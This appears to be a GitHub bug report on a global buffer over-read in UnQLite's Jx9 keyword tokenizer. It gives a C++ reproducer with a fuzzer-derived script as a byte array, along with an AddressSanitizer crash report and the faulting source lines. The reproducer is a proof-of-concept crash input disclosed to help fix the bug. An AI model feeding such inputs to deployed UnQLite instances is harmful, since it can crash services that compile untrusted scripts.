Skip to content

Global OOB read in Jx9 keywordCode during unqlite_compile_file tokenization #176

@hgarrereyn

Description

@hgarrereyn

Hi, there is a global buffer overflow (read) reachable via unqlite_compile_file. I've provided a minimized example and crash report below:

My understanding from reading the documentation is tht unqlite_compile_file is intended to be robust to untrusted script input (i.e. should return compile errors instead of memory corruption) -- please let me know if that is correct.

Tested on the most recent commit 5d951cd3 with ASAN enabled.

testcase.cpp

#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <string>
#include <unistd.h>
#include <fcntl.h>
extern "C" {
#include "unqlite.h"
}

static std::string write_temp(const unsigned char* data, size_t len){
  char tmpl[] = "/tmp/uqlXXXXXX";
  int fd = mkstemp(tmpl);
  if(fd<0){return std::string();}
  (void)write(fd, data, len);
  close(fd);
  return std::string(tmpl);
}

int main(){
  // Open a database file (mode 0 works with this build)
  char dbtmpl[] = "/tmp/dbXXXXXX";
  int dbfd = mkstemp(dbtmpl);
  if(dbfd<0) return 0;
  close(dbfd);
  unqlite* db=nullptr;
  if(unqlite_open(&db, dbtmpl, 0)!=0 || !db) return 0;

  // Script that triggers the bug (shortened from the original fuzzer input)
  static const unsigned char script[] = {
    99,111,110,115,116,32,72,107,57,101,65,32,61,32,45,48,46,48,59,10,99,111,110,115,116,32,65,113,32,61,32,50,49,52,55,52,56,51,54,52,55,59,10,116,114,121,32,123,10,10,125,32,99,97,116,99,104,40,101,41,32,123,32,112,114,105,110,116,40,39,102,94,119,37,60,87,54,73,34,105,123,92,39,92,92,39,92,114,240,159,153,130,208,151,208,180,209,128,208,176,208,178,209,129,209,130,208,178,209,131,208,185,240,159,153,130,39,41,59,32,125,10,119,104,105,108,101,32,40,34,52,123,51,77,125,124,91,89,71,44,44,101,77,80,51,96,87,122,47,95,68,77,105,51,84,92,240,157,148,152,240,157,148,171,240,157,148,148,240,157,148,143,240,157,148,166,240,157,148,177,240,157,148,162,225,186,158,240,159,153,130,34,41,32,123,10,10,125,10,102,111,114,32,40,118,97,114,32,110,98,107,78,86,65,32,61,32,51,59,32,110,98,107,78,86,65,32,60,32,53,59,32,110,98,107,78,86,65,32,61,32,110,98,107,78,86,65,32,43,32,50,41,32,123,10,102,111,114,32,40,118,97,114,32,68,113,67,73,32,61,32,50,59,32,68,113,67,73,32,60,32,53,59,32,68,113,67,73,32,61,32,68,113,67,73,32,43,32,49,41,32,123,10,10,125,10,118,97,114,32,85,74,32,61,32,57,50,50,51,51,55,50,48,51,54,56,53,52,55,55,53,56,48,55,59,10,102,111,114,32,40,118,97,114,32,83,108,89,78,68,32,61,32,49,59,32,83,108,89,78,68,32,60,32,54,59,32,83,108,89,78,68,32,61,32,83,108,89,78,68,32,43,32,49,41,32,123,10,118,97,114,32,106,32,61,32,116,105,109,101,40,115,114,97,110,100,40,34,58,62,97,101,89,240,159,146,190,240,159,146,190,240,159,153,130,0,34,44,32,40,39,82,92,114,240,159,153,130,230,188,162,229,173,151,240,157,148,152,240,157,148,171,240,157,148,148,240,157,148,143,240,157,148,166,240,157,148,177,240,157,148,162,39,32,45,32,57,50,50,51,51,55,50,48,51,54,56,53,52,55,55,53,56,48,55,41,41,41,59,10,125,10,125,10,119,104,105,108,101,32,40,97,114,114,97,121,40,39,84,120,73,81,45,92,92,39,208,151,208,180,209,128,208,176,208,178,209,129,209,130,208,178,209,131,208,185,39,44,32,39,44,78,53,80,98,76,41,105,65,58,124,112,87,104,93,75,92,84,107,81,63,88,82,79,98,93,41,85,70,54,93,66,125,115,62,67,230,188,162,229,173,151,240,159,153,130,230,188,162,229,173,151,39,44,32,49,46,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,49,101,43,51,48,48,41,41,32,123,10,10,125,10,118,97,114,32,121,116,115,107,116,120,97,32,61,32,51,46,49,52,49,53,57,50,54,53,51,53,56,57,55,57,51,59,10,118,97,114,32,109,97,109,108,89,111,112,116,111,32,61,32,40,49,101,45,51,48,48,32,124,124,32,40,34,58,57,73,225,186,158,240,157,148,152,240,157,148,171,240,157,148,148,240,157,148,143,240,157,148,166,240,157,148,177,240,157,148,162,0,34,32,47,32,116,105,109,101,40,41,41,41,59,10,119,104,105,108,101,32,40,101,109,112,116,121,40,48,41,41,32,123,10,102,117,110,99,116,105,111,110,32,74,70,67,97,106,100,50,86,108,84,79,40,105,67,82,89,99,113,44,32,66,107,112,89,100,101,41,32,123,10,45,49,46,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,101,43,48,48,59,10,118,97,114,32,103,67,104,68,90,83,102,32,61,32,49,101,43,51,48,48,59,10,125,10,40,45,50,49,52,55,52,56,51,54,52,56,32,38,32,49,101,45,51,48,48,41,59,10,102,117,110,99,116,105,111,110,32,109,117,72,79,40,87,44,32,121,115,69,54,121,99,116,106,41,32,123,10,10,125,10,125,10,102,117,110,99,116,105,111,110,32,116,73,73,74,78,78,73,40,77,81,54,81,72,48,44,32,116,88,119,108,70,66,112,109,79,57,56,41,32,123,10,118,97,114,32,73,73,32,61,32,50,49,52,55,52,56,51,54,52,55,59,10,125,10,118,97,114,32,76,76,49,79,105,121,101,85,72,32,61,32,106,115,111,110,95,100,101,99,111,100,101,40,41,59,10,118,97,114,32,111,107,68,82,65,49,90,113,32,61,32,123,39,57,95,84,54,61,70,41,107,111,109,104,81,98,96,43,91,79,82,84,80,80,113,120,69,116,99,53,81,118,102,100,121,52,93,32,92,122,115,33,92,114,92,34,92,110,215,169,214,184,215,129,215,156,215,149,214,185,215,157,215,169,214,184,215,129,215,156,215,149,214,185,215,157,0,39,58,32,49,46,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,49,101,43,51,48,48,44,32,39,115,118,104,122,108,32,122,63,56,60,38,100,126,44,67,99,57,56,111,35,92,92,123,93,38,59,60,114,37,123,217,133,216,177,216,173,216,168,216,167,217,133,216,177,216,173,216,168,216,167,39,58,32,34,41,57,77,82,125,113,85,103,71,113,63,41,121,86,91,118,94,115,124,66,55,75,108,92,39,34,125,59,10,102,111,114,32,40,118,97,114,32,112,86,80,53,121,115,54,107,121,95,32,61,32,50,59,32,112,86,80,53,121,115,54,107,121,95,32,60,32,54,59,32,112,86,80,53,121,115,54,107,121,95,32,61,32,112,86,80,53,121,115,54,107,121,95,32,43,32,49,41,32,123,10,116,114,121,32,123,10,49,59,10,125,32,99,97,116,99,104,40,101,41,32,123,32,112,114,105,110,116,40,39,240,159,146,190,207,128,39,41,59,32,125,10,105,102,32,40,100,97,116,101,40,45,57,50,50,51,51,55,50,48,51,54,56,53,52,55,55,53,56,48,55,41,41,32,123,10,40,115,116,114,108,101,118,97,114,32,75,109,71,88,111,51,48,84,32,61,32,40,40,40,40,49,32,43,32,49,41,32,43,32,49,41,32,43,32,49,41,32,43,32,49,41,59,10,110,40,41,32,33,61,32,40,106,115,111,110,95,101,110,99,111,100,101,40,106,53,105,52,55,97,83,44,32,39,71,95,55,50,74,73,54,66,38,33,80,91,36,98,92,39,43,79,79,38,84,105,63,56,84,72,42,86,103,80,92,116,240,159,146,190,230,188,162,229,173,151,225,186,158,39,41,32,60,32,40,78,121,111,66,72,69,32,45,32,39,34,105,32,79,110,106,116,92,107,102,32,96,74,117,74,76,46,67,112,92,39,45,90,109,58,63,110,89,40,52,67,100,103,112,76,79,43,62,97,92,116,92,114,215,169,214,184,215,129,215,156,215,149,214,185,215,157,39,41,41,41,59,10,118,97,114,32,88,75,49,121,121,99,102,54,108,98,117,32,61,32,57,50,50,51,51,55,50,48,51,54,56,53,52,55,55,53,56,48,55,59,10,125,10,125,10
  };

  std::string spath = write_temp(script, sizeof(script));
  unqlite_vm* vm=nullptr;
  (void)unqlite_compile_file(db, spath.c_str(), &vm);
  return 0;
}

crash report

{
  "Date": "2025-09-22T16:54:41.236798+00:00",
  "Uname": "Linux 8e0836b21e68 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux",
  "OS": "Ubuntu",
  "OSRelease": "22.04",
  "Architecture": "amd64",
  "ExecutablePath": "/tmp/tmpeblu12tx/reproducer",
  "ProcEnviron": [
    "LIBAFL_EDGES_MAP_SIZE=800000",
    "PWD=/fuzz/workspace",
    "GRAPHFUZZ_USE_ASAN=1",
    "HOME=/root",
    "ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0",
    "TERM=xterm-256color",
    "SHLVL=1",
    "LD_LIBRARY_PATH=/fuzz/install/lib",
    "PATH=/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "DEBIAN_FRONTEND=noninteractive",
    "OLDPWD=/fuzz/src",
    "_=/usr/local/bin/agfi"
  ],
  "ProcCmdline": "/tmp/tmpeblu12tx/reproducer",
  "Stdin": "",
  "ProcStatus": [],
  "ProcMaps": [],
  "ProcFiles": [],
  "NetworkConnections": [],
  "CrashSeverity": {
    "Type": "NOT_EXPLOITABLE",
    "ShortDescription": "global-buffer-overflow(read)",
    "Description": "Global buffer overflow",
    "Explanation": "The target reads data past the end, or before the beginning, of the intended global buffer."
  },
  "Stacktrace": [
    "    #0 0x555555774554 in keywordCode /fuzz/src/unqlite.c:26441",
    "    #1 0x555555774554 in jx9TokenizeInput /fuzz/src/unqlite.c:25961:14",
    "    #2 0x5555557749f9 in SyLexTokenizeInput /fuzz/src/unqlite.c:28831:8",
    "    #3 0x55555576bef3 in jx9Tokenize /fuzz/src/unqlite.c:26630:7",
    "    #4 0x55555576bef3 in jx9CompileScript /fuzz/src/unqlite.c:20612:2",
    "    #5 0x555555768555 in ProcessScript /fuzz/src/unqlite.c:7545:2",
    "    #6 0x555555686d3d in jx9_compile_file /fuzz/src/unqlite.c:7666:10",
    "    #7 0x555555686d3d in unqlite_compile_file /fuzz/src/unqlite.c:4501:7",
    "    #8 0x555555675b1c in main /tmp/tmpeblu12tx/reproducer.cpp:37:9",
    "    #9 0x7ffff7a6dd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16",
    "    #10 0x7ffff7a6de3f in __libc_start_main csu/../csu/libc-start.c:392:3",
    "    #11 0x55555559a524 in _start (/tmp/tmpeblu12tx/reproducer+0x46524) (BuildId: c5bbd38b86595e43c5fbc4f5c93e9e553b214db9)"
  ],
  "Registers": {},
  "Disassembly": [],
  "Package": "",
  "PackageVersion": "",
  "PackageArchitecture": "",
  "PackageDescription": "",
  "AsanReport": [
    "==156==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55555588c8ef at pc 0x555555774555 bp 0x7fffffffe520 sp 0x7fffffffe518",
    "READ of size 1 at 0x55555588c8ef thread T0",
    "    #0 0x555555774554 in keywordCode /fuzz/src/unqlite.c:26441",
    "    #1 0x555555774554 in jx9TokenizeInput /fuzz/src/unqlite.c:25961:14",
    "    #2 0x5555557749f9 in SyLexTokenizeInput /fuzz/src/unqlite.c:28831:8",
    "    #3 0x55555576bef3 in jx9Tokenize /fuzz/src/unqlite.c:26630:7",
    "    #4 0x55555576bef3 in jx9CompileScript /fuzz/src/unqlite.c:20612:2",
    "    #5 0x555555768555 in ProcessScript /fuzz/src/unqlite.c:7545:2",
    "    #6 0x555555686d3d in jx9_compile_file /fuzz/src/unqlite.c:7666:10",
    "    #7 0x555555686d3d in unqlite_compile_file /fuzz/src/unqlite.c:4501:7",
    "    #8 0x555555675b1c in main /tmp/tmpeblu12tx/reproducer.cpp:37:9",
    "    #9 0x7ffff7a6dd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16",
    "    #10 0x7ffff7a6de3f in __libc_start_main csu/../csu/libc-start.c:392:3",
    "    #11 0x55555559a524 in _start (/tmp/tmpeblu12tx/reproducer+0x46524) (BuildId: c5bbd38b86595e43c5fbc4f5c93e9e553b214db9)",
    "",
    "0x55555588c8ef is located 17 bytes before global variable 'keywordCode.aOffset' defined in '/fuzz/src/unqlite.c:26424' (0x55555588c900) of size 62",
    "0x55555588c8ef is located 16 bytes after global variable 'keywordCode.aLen' defined in '/fuzz/src/unqlite.c:26419' (0x55555588c8c0) of size 31",
    "SUMMARY: AddressSanitizer: global-buffer-overflow /fuzz/src/unqlite.c:26441 in keywordCode",
    "Shadow bytes around the buggy address:",
    "  0x55555588c600: 00 00 07 f9 f9 f9 f9 f9 06 f9 f9 f9 00 00 00 00",
    "  0x55555588c680: 00 00 00 03 f9 f9 f9 f9 00 f9 f9 f9 00 f9 f9 f9",
    "  0x55555588c700: 06 f9 f9 f9 00 f9 f9 f9 07 f9 f9 f9 00 01 f9 f9",
    "  0x55555588c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07",
    "  0x55555588c800: f9 f9 f9 f9 00 00 00 00 00 00 00 03 f9 f9 f9 f9",
    "=>0x55555588c880: 00 00 00 07 f9 f9 f9 f9 00 00 00 07 f9[f9]f9 f9",
    "  0x55555588c900: 00 00 00 00 00 00 00 06 f9 f9 f9 f9 00 00 00 00",
    "  0x55555588c980: 00 00 00 00 00 00 00 00 00 00 00 04 f9 f9 f9 f9",
    "  0x55555588ca00: 02 f9 f9 f9 03 f9 f9 f9 03 f9 f9 f9 02 f9 f9 f9",
    "  0x55555588ca80: 02 f9 f9 f9 02 f9 f9 f9 02 f9 f9 f9 00 f9 f9 f9",
    "  0x55555588cb00: 00 01 f9 f9 02 f9 f9 f9 02 f9 f9 f9 03 f9 f9 f9",
    "Shadow byte legend (one shadow byte represents 8 application bytes):",
    "  Addressable:           00",
    "  Partially addressable: 01 02 03 04 05 06 07",
    "  Heap left redzone:       fa",
    "  Freed heap region:       fd",
    "  Stack left redzone:      f1",
    "  Stack mid redzone:       f2",
    "  Stack right redzone:     f3",
    "  Stack after return:      f5",
    "  Stack use after scope:   f8",
    "  Global redzone:          f9",
    "  Global init order:       f6",
    "  Poisoned by user:        f7",
    "  Container overflow:      fc",
    "  Array cookie:            ac",
    "  Intra object redzone:    bb",
    "  ASan internal:           fe",
    "  Left alloca redzone:     ca",
    "  Right alloca redzone:    cb",
    "==156==ABORTING"
  ],
  "MsanReport": [],
  "UbsanReport": [],
  "LuaReport": [],
  "PythonReport": [],
  "GoReport": [],
  "JavaReport": [],
  "RustReport": [],
  "JsReport": [],
  "CSharpReport": [],
  "CrashLine": "/fuzz/src/unqlite.c:26441",
  "Source": [
    "    26437    };",
    "    26438    int h, i;",
    "    26439    if( n<2 ) return JX9_TK_ID;",
    "    26440    h = (((int)z[0]*4) ^ ((int)z[n-1]*3) ^ n) % 59;",
    "--->26441    for(i=((int)aHash[h])-1; i>=0; i=((int)aNext[i])-1){",
    "    26442      if( (int)aLen[i]==n && SyMemcmp(&zText[aOffset[i]],z,n)==0 ){",
    "    26443         /* JX9_TKWRD_PRINT */",
    "    26444         /* JX9_TKWRD_INT */",
    "    26445         /* JX9_TKWRD_INT */",
    "    26446         /* JX9_TKWRD_RETURN */"
  ]
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions